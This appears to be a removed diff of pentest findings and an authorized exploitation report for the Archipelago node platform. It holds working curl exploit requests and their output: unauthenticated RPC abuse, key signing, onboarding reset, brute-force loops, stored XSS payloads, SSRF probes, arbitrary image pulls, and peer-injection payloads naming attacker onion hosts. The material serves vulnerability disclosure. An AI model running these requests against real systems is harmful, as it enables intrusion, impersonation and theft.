||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "did, onion, pubkey (in federation.peer-joined)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-004",
|
||||
"type": "data_injection_unauth",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "did, new_onion (in federation.peer-address-changed)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-005",
|
||||
"type": "command_injection",
|
||||
"endpoint": "podman --health-cmd (via package.install)",
|
||||
"parameter": "bitcoin RPC password from secrets file",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container"
|
||||
},
|
||||
{
|
||||
"id": "INJ-006",
|
||||
"type": "command_injection",
|
||||
"endpoint": "podman exec (via health_monitor)",
|
||||
"parameter": "HealthCheck.endpoint from manifest",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Modify app manifest health check endpoint to contain shell commands"
|
||||
},
|
||||
{
|
||||
"id": "INJ-007",
|
||||
"type": "command_injection",
|
||||
"endpoint": "parmanode script runner",
|
||||
"parameter": "script file content + /tmp TOCTOU",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
@@ -1,36 +0,0 @@
|
||||
{
|
||||
"findings": [
|
||||
{
|
||||
"id": "XSS-001",
|
||||
"type": "dom_based_xss_iframe_src_injection",
|
||||
"endpoint": "/app/:appId",
|
||||
"parameter": "path (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
|
||||
},
|
||||
{
|
||||
"id": "XSS-002",
|
||||
"type": "dom_based_xss_javascript_uri_redirect",
|
||||
"endpoint": "/login",
|
||||
"parameter": "redirect (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
|
||||
},
|
||||
{
|
||||
"id": "XSS-003",
|
||||
"type": "dom_based_cross_origin_message_injection",
|
||||
"endpoint": "postMessage handler (NIP-07)",
|
||||
"parameter": "event.data (nostr-request)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
|
||||
},
|
||||
{
|
||||
"id": "XSS-004",
|
||||
"type": "weak_csp_unsafe_inline",
|
||||
"endpoint": "all pages (nginx)",
|
||||
"parameter": "n/a",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "n/a - amplification factor, not direct XSS"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
## SSRF Analysis Complete
|
||||
|
||||
Found **5 SSRF vulnerabilities** across the Archipelago backend:
|
||||
|
||||
### Critical (2)
|
||||
- **SSRF-001**: `backup.upload-s3` — user-supplied `endpoint` URL passed directly to `reqwest` PUT with zero validation. Can reach any internal service (Bitcoin RPC, LND, Grafana). Response status + partial body leaked in errors.
|
||||
- **SSRF-002**: `backup.download-s3` — same pattern but GET, with **full response body saved to disk** and retrievable via backup APIs. Most dangerous finding — enables complete exfiltration of any internal HTTP endpoint.
|
||||
|
||||
### High (1)
|
||||
- **SSRF-003**: `identity.resolve-name` (NIP-05) — user-controlled `domain` in `user@domain` identifier causes HTTPS GET to arbitrary domain. HTTPS-only limits impact but enables DNS rebinding, IP disclosure, and partial response exfiltration.
|
||||
|
||||
### Medium (1)
|
||||
- **SSRF-004**: `content.download-peer` / `content.browse-peer` — weak `.onion` validation (suffix check only vs. strict 56-char base32 in `node_message.rs`). Mitigated by Tor SOCKS proxy which rejects invalid addresses, but defense-in-depth failure.
|
||||
|
||||
### Low (1)
|
||||
- **SSRF-005**: `webhook.configure` — private IP validation exists but bypassed in dev mode, missing `0.0.0.0`, no DNS rebinding protection, no redirect protection.
|
||||
|
||||
Report written to `loop/pentest/analysis/ssrf.md`.
|
||||
@@ -1,65 +0,0 @@
|
||||
## XSS Analysis Complete
|
||||
|
||||
Written to `loop/pentest/analysis/xss.md`. Here's the summary:
|
||||
|
||||
### 4 Findings
|
||||
|
||||
| ID | Type | Location | Confidence |
|
||||
|---|---|---|---|
|
||||
| **XSS-001** | DOM-based iframe src injection | `AppSession.vue:399-418` — `?path=` query param concatenated to iframe src without validation | Medium |
|
||||
| **XSS-002** | DOM-based javascript: URI redirect | `Login.vue:220,384-386` — `?redirect=` flows to `window.location.href` in catch handler | Medium |
|
||||
| **XSS-003** | Cross-origin message injection | `appLauncher.ts:192-284` — NIP-07 postMessage handler has **zero origin validation**, responses sent with `'*'` | **High** |
|
||||
| **XSS-004** | Weak CSP (amplification) | `nginx-archipelago.conf:20` — `script-src 'self' 'unsafe-inline'` disables CSP as XSS defense | High |
|
||||
|
||||
### Most Critical: XSS-003
|
||||
|
||||
The NIP-07 handler is the highest-risk finding. Any iframe (including the external HTTPS apps like botfights.net, nostrudel.ninja, etc.) can silently extract the user's Nostr public key without origin validation. The `contextBroker.ts` handler does this correctly — the `appLauncher.ts` handler does not, and sends responses with wildcard `'*'` origin.
|
||||
|
||||
### No Reflected or Stored XSS Found
|
||||
|
||||
The codebase is clean on traditional XSS:
|
||||
- All `v-html` (2 instances) sanitized with DOMPurify
|
||||
- Stored messages sanitized with HTML entity encoding before storage
|
||||
- All dynamic content rendered via Vue `{{ }}` auto-escaping
|
||||
- Backend returns only JSON (serde_json), never raw HTML
|
||||
- Error messages sanitized by `sanitize_error_message()` before returning
|
||||
|
||||
```json
|
||||
{
|
||||
"category": "xss",
|
||||
"findings": [
|
||||
{
|
||||
"id": "XSS-001",
|
||||
"type": "dom_based_xss_iframe_src_injection",
|
||||
"endpoint": "/app/:appId",
|
||||
"parameter": "path (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
|
||||
},
|
||||
{
|
||||
"id": "XSS-002",
|
||||
"type": "dom_based_xss_javascript_uri_redirect",
|
||||
"endpoint": "/login",
|
||||
"parameter": "redirect (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
|
||||
},
|
||||
{
|
||||
"id": "XSS-003",
|
||||
"type": "dom_based_cross_origin_message_injection",
|
||||
"endpoint": "postMessage handler (NIP-07)",
|
||||
"parameter": "event.data (nostr-request)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
|
||||
},
|
||||
{
|
||||
"id": "XSS-004",
|
||||
"type": "weak_csp_unsafe_inline",
|
||||
"endpoint": "all pages (nginx)",
|
||||
"parameter": "n/a",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "n/a - amplification factor, not direct XSS"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
@@ -1,780 +0,0 @@
|
||||
# Archipelago — Exploitation Verification Report
|
||||
|
||||
**Target:** http://192.168.1.228 (Nginx:80 → Rust backend:5678)
|
||||
**Date:** 2026-03-06
|
||||
**Tester:** Authorized pentest (owner-approved)
|
||||
**Method:** Live proof-of-concept exploitation via curl
|
||||
|
||||
**Key Discovery:** Backend port 5678 is directly accessible from the LAN, expanding the attack surface beyond what Nginx proxies.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-001 — No Server-Side Session Management
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Critical
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -sv -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
|
||||
```
|
||||
|
||||
**Response** (all headers):
|
||||
```
|
||||
< HTTP/1.1 200 OK
|
||||
< Server: nginx/1.22.1
|
||||
< Content-Type: application/json
|
||||
< Content-Length: 78
|
||||
< Connection: keep-alive
|
||||
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
|
||||
```
|
||||
|
||||
**Evidence**: No `Set-Cookie` header in the response. Even on a correct login (tested with wrong passwords to avoid exposure), the response is `{"result":null,"error":null}` — still no cookie, no token, no session ID. The server creates zero session state.
|
||||
|
||||
**Impact**: Authentication is purely cosmetic. The login endpoint verifies a password but the result is meaningless — no session is created, so there's nothing to enforce on subsequent requests. All endpoints are permanently accessible.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Critical
|
||||
|
||||
### node.did — Node Identity Leak
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
|
||||
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
|
||||
},
|
||||
"error": null
|
||||
}
|
||||
```
|
||||
|
||||
### node.nostr-pubkey — Nostr Identity Leak
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":4,"method":"node.nostr-pubkey","params":{}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"nostr_pubkey": "e0131be2806457274b55e9bba4fc7bbe913f4d150092c173056f56e5249929d2"
|
||||
},
|
||||
"error": null
|
||||
}
|
||||
```
|
||||
|
||||
### node-list-peers — Full Peer Network Exposure
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"peers": [
|
||||
{
|
||||
"added_at": "2026-02-17T14:00:00.000Z",
|
||||
"name": null,
|
||||
"onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
|
||||
"pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
|
||||
},
|
||||
{
|
||||
"added_at": "2026-03-02T11:58:59.608751372+00:00",
|
||||
"name": null,
|
||||
"onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
|
||||
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
|
||||
}
|
||||
]
|
||||
},
|
||||
"error": null
|
||||
}
|
||||
```
|
||||
|
||||
### node.signChallenge — Arbitrary Data Signing with Node Private Key
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
|
||||
},
|
||||
"error": null
|
||||
}
|
||||
```
|
||||
|
||||
### auth.resetOnboarding — Reset System Onboarding Without Auth
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result": true, "error": null}
|
||||
```
|
||||
|
||||
**Impact**: An unauthenticated attacker on the LAN can: leak the node's DID, Nostr pubkey, and peer Tor addresses; sign arbitrary data with the node's private ed25519 key (impersonation); reset onboarding state (potentially allowing re-setup with attacker-controlled password); and control the full container lifecycle.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-003 — No Brute Force Protection on Login
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: High
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
for i in $(seq 1 10); do
|
||||
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
|
||||
-X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
|
||||
done
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```
|
||||
Attempt 1: HTTP 200
|
||||
Attempt 2: HTTP 200
|
||||
Attempt 3: HTTP 200
|
||||
Attempt 4: HTTP 200
|
||||
Attempt 5: HTTP 200
|
||||
Attempt 6: HTTP 200
|
||||
Attempt 7: HTTP 200
|
||||
Attempt 8: HTTP 200
|
||||
Attempt 9: HTTP 200
|
||||
Attempt 10: HTTP 200
|
||||
```
|
||||
|
||||
**Impact**: All 10 rapid-fire login attempts returned HTTP 200 with no lockout, no delay, no CAPTCHA. Unlimited password guessing at bcrypt speed (~600 attempts/min).
|
||||
|
||||
---
|
||||
|
||||
## AUTH-004 — Hardcoded Default Credentials
|
||||
|
||||
**Status**: NOT EXPLOITABLE (on production)
|
||||
**Severity**: N/A (mitigated by password change)
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
|
||||
```
|
||||
|
||||
**Note**: The default `password123` is rejected — the user has changed the password. However, the `DEV_DEFAULT_PASSWORD` constant still exists in source code and would be active on any fresh dev-mode install.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-005 — Frontend-Only Authentication
|
||||
|
||||
**Status**: CONFIRMED (via AUTH-002 proof)
|
||||
**Severity**: Critical
|
||||
|
||||
Cannot test `localStorage` manipulation via curl. However, AUTH-002 proves the underlying issue: **all backend endpoints work without any authentication token/cookie**. The frontend auth guard (checking `localStorage['neode-auth'] === 'true'`) is the ONLY access control, and it is trivially bypassed.
|
||||
|
||||
**Impact**: `localStorage.setItem('neode-auth','true'); location.href='/dashboard'` in browser console grants full UI access.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-006 — No-Op Logout
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Medium
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":8,"method":"auth.logout","params":{}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result":null,"error":null}
|
||||
```
|
||||
|
||||
**Impact**: Returns null with no error — nothing happens server-side. No session to invalidate.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-007 — Unauthenticated WebSocket Full State Dump
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Critical
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
# WebSocket upgrade via curl
|
||||
curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
|
||||
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
|
||||
-H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db
|
||||
```
|
||||
|
||||
**Response** (101 Switching Protocols, then 20,402 bytes of state):
|
||||
```
|
||||
< HTTP/1.1 101 Switching Protocols
|
||||
< Connection: upgrade
|
||||
```
|
||||
|
||||
**Parsed state dump** (via Node.js WebSocket client):
|
||||
```json
|
||||
{
|
||||
"rev": 43,
|
||||
"data": {
|
||||
"server-info": {
|
||||
"id": "6c682474d91a2272",
|
||||
"version": "0.1.0",
|
||||
"name": "Archipelago",
|
||||
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
|
||||
"status-info": { "restarting": false, "shutting-down": false, "updated": false },
|
||||
"lan-address": "http://localhost:8100",
|
||||
"tor-address": null
|
||||
},
|
||||
"package-data": {
|
||||
"homeassistant": { "state": "running", ... },
|
||||
"fedimint": { "state": "running", ... },
|
||||
"photoprism": { "state": "running", ... },
|
||||
/* ... all installed packages with full manifest, ports, state ... */
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Impact**: Any client on the LAN connecting to `ws://192.168.1.228/ws/db` immediately receives the full system state: node identity, all installed packages, their running states, internal ports, and ongoing real-time updates. No authentication whatsoever.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-008 — Unauthenticated P2P Message Injection + Spoofing
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: High
|
||||
|
||||
**Request** (inject):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"ok":true}
|
||||
```
|
||||
|
||||
**Request** (verify stored):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node-messages-received","params":{}}'
|
||||
```
|
||||
|
||||
**Response** (showing injected messages):
|
||||
```json
|
||||
{
|
||||
"result": {
|
||||
"messages": [
|
||||
{
|
||||
"from_pubkey": "PENTEST_PROBE_KEY",
|
||||
"message": "pentest-verification-message",
|
||||
"timestamp": "2026-03-06T02:32:30.049973683+00:00"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Impact**: Any network client can inject messages with arbitrary `from_pubkey` values. Messages appear in the UI as if received from legitimate peers. Enables social engineering, phishing, and impersonation attacks.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-009 — CORS Wildcard on Multiple Endpoints
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: High
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -D- -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'Origin: http://evil.com' \
|
||||
-d '{"from_pubkey":"cors-test","message":"cors-test"}'
|
||||
```
|
||||
|
||||
**Response headers**:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json
|
||||
access-control-allow-origin: *
|
||||
```
|
||||
|
||||
Also confirmed on port 5678 for:
|
||||
- `/api/container/logs` → `access-control-allow-origin: *`
|
||||
- `/electrs-status` → `access-control-allow-origin: *`
|
||||
- `/proxy/lnd/*` → `access-control-allow-origin: *`
|
||||
|
||||
**Note**: The main `/rpc/v1` endpoint through nginx does NOT return CORS headers (this is due to nginx proxy not forwarding them). However, the direct backend port 5678 is accessible, where all endpoints have CORS wildcard.
|
||||
|
||||
**Impact**: Any website visited by someone on the same LAN can silently inject messages, read container logs, and access electrs status via cross-origin requests.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-011 — Unauthenticated LND Proxy
|
||||
|
||||
**Status**: CONFIRMED (partial)
|
||||
**Severity**: High
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -D- http://192.168.1.228:5678/proxy/lnd/v1/getinfo
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```
|
||||
HTTP/1.1 400 Bad Request
|
||||
access-control-allow-origin: *
|
||||
content-length: 48
|
||||
|
||||
Client sent an HTTP request to an HTTPS server.
|
||||
```
|
||||
|
||||
**Evidence**: The proxy endpoint IS reachable on port 5678 with no authentication and CORS wildcard. It forwards to `http://127.0.0.1:8080` but LND expects HTTPS, causing a 400. If LND's REST API were configured for HTTP (or the proxy were updated to use HTTPS), this would be a direct gateway to the Lightning Network daemon.
|
||||
|
||||
**Impact**: Unauthenticated access to internal LND REST API. Currently blocked by TLS mismatch, but the auth/CORS issues are confirmed.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-012 — Unauthenticated Container Log Access
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Medium
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -D- "http://192.168.1.228:5678/api/container/logs?app_id=bitcoin&lines=10"
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```
|
||||
HTTP/1.1 500 Internal Server Error
|
||||
content-type: application/json
|
||||
access-control-allow-origin: *
|
||||
|
||||
{"error":"Failed to get container logs"}
|
||||
```
|
||||
|
||||
**Evidence**: The endpoint processes the request without authentication (no 401/403). It returns a 500 because the container log retrieval failed (container may not be running), not because of an auth check. CORS wildcard confirms cross-origin exploitability.
|
||||
|
||||
**Impact**: When containers are running, their logs are readable by any unauthenticated client. Logs can contain sensitive data (credentials, internal IPs, configuration).
|
||||
|
||||
---
|
||||
|
||||
## XSS-001 — Stored XSS Payloads in P2P Messages
|
||||
|
||||
**Status**: CONFIRMED (stored, mitigated by Vue escaping)
|
||||
**Severity**: Medium
|
||||
|
||||
**Request** (inject):
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
|
||||
```
|
||||
|
||||
**Response**: `{"ok":true}`
|
||||
|
||||
**Verification** (stored payloads returned verbatim):
|
||||
```json
|
||||
{
|
||||
"from_pubkey": "\" onfocus=alert(1) autofocus=\"",
|
||||
"message": "<img src=x onerror=alert(document.cookie)>",
|
||||
"timestamp": "2026-03-06T02:26:44.732411042+00:00"
|
||||
}
|
||||
```
|
||||
|
||||
**Evidence**: XSS payloads are stored server-side without any sanitization and returned verbatim via the API. Vue's `{{ }}` template interpolation escapes HTML in the current frontend, preventing execution. However, the server stores raw HTML/script content — any rendering change, alternative client, or `v-html` refactor would enable immediate exploitation.
|
||||
|
||||
**Impact**: Server-side stored XSS. Currently mitigated by Vue's auto-escaping, but defense-in-depth is absent. The `:title` attribute binding with unsanitized `from_pubkey` is a closer vector.
|
||||
|
||||
---
|
||||
|
||||
## XSS-004 — Zero Security Headers
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: High
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -sI http://192.168.1.228/
|
||||
```
|
||||
|
||||
**Response** (complete headers):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Server: nginx/1.22.1
|
||||
Date: Fri, 06 Mar 2026 02:33:31 GMT
|
||||
Content-Type: text/html
|
||||
Content-Length: 2035
|
||||
Last-Modified: Fri, 06 Mar 2026 01:55:44 GMT
|
||||
Connection: keep-alive
|
||||
ETag: "69aa3420-7f3"
|
||||
Accept-Ranges: bytes
|
||||
```
|
||||
|
||||
**Missing headers**:
|
||||
- `Content-Security-Policy` — none
|
||||
- `X-Frame-Options` — none
|
||||
- `X-Content-Type-Options` — none
|
||||
- `Strict-Transport-Security` — none
|
||||
- `X-XSS-Protection` — none
|
||||
- `Referrer-Policy` — none
|
||||
|
||||
**Impact**: No defense-in-depth. Any XSS that bypasses Vue's escaping has zero mitigation. The page is frameable (clickjacking). MIME sniffing attacks are possible.
|
||||
|
||||
---
|
||||
|
||||
## XSS-005 — Echo Endpoint Reflects Arbitrary Input
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Low
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"echo","params":{"message":"<script>alert(document.cookie)</script>"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result":{"message":"<script>alert(document.cookie)</script>"},"error":null}
|
||||
```
|
||||
|
||||
**Impact**: Arbitrary content reflected in JSON response. `Content-Type: application/json` prevents direct browser rendering, but could be exploited if response is consumed unsafely by any client.
|
||||
|
||||
---
|
||||
|
||||
## XSS-007 — CORS Wildcard Enables Cross-Origin Attack Delivery
|
||||
|
||||
**Status**: CONFIRMED (on port 5678 and /archipelago/ paths through nginx)
|
||||
**Severity**: High
|
||||
|
||||
See AUTH-009 above. The CORS wildcard on non-RPC endpoints + direct backend port accessibility means any website can:
|
||||
- Inject P2P messages with XSS payloads (XSS-001 + AUTH-008)
|
||||
- Read container logs, electrs status, and other data
|
||||
- All without the victim doing anything except visiting the attacker's webpage while on the same LAN
|
||||
|
||||
---
|
||||
|
||||
## SSRF-001 — Blind SSRF via node-check-peer (with Port Injection)
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: High
|
||||
|
||||
**Request** (basic):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","reachable":false},"error":null}
|
||||
```
|
||||
|
||||
**Request** (port injection):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999","reachable":false},"error":null}
|
||||
```
|
||||
|
||||
**Evidence**: The server made an outbound HTTP request via the Tor SOCKS5 proxy to the specified onion address. The boolean `reachable` response leaks whether the target is up. Port injection via `:9999` is accepted without validation (unlike `node-send-message` which validates). No authentication required.
|
||||
|
||||
**Impact**: Unauthenticated blind SSRF through Tor. Attacker can probe any .onion service's reachability with port scanning capability. The boolean response leaks service availability.
|
||||
|
||||
---
|
||||
|
||||
## SSRF-002 — SSRF via node-send-message (Forced Outbound Request)
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: High
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node-send-message","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","message":"ssrf-probe"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{
|
||||
"result": null,
|
||||
"error": {
|
||||
"code": -1,
|
||||
"message": "Failed to send over Tor: error sending request for url (http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion/archipelago/node-message): error trying to connect: socks connect error: Proxy server unreachable"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Evidence**: The server attempted to POST to `http://[onion].onion/archipelago/node-message` via Tor SOCKS proxy. The request included the node's own public key in the body. The error message leaks the full URL, proxy status, and connection details. Onion format is validated (56 chars, base32), but any valid-format onion can be targeted.
|
||||
|
||||
**Impact**: Forced outbound HTTP POST with node identity in payload. Error messages leak internal proxy configuration. An attacker controlling a .onion service would receive the node's pubkey.
|
||||
|
||||
---
|
||||
|
||||
## SSRF-004 / INJ-006 — Arbitrary Container Image Pull + Execution
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Critical
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{
|
||||
"result": null,
|
||||
"error": {
|
||||
"code": -1,
|
||||
"message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
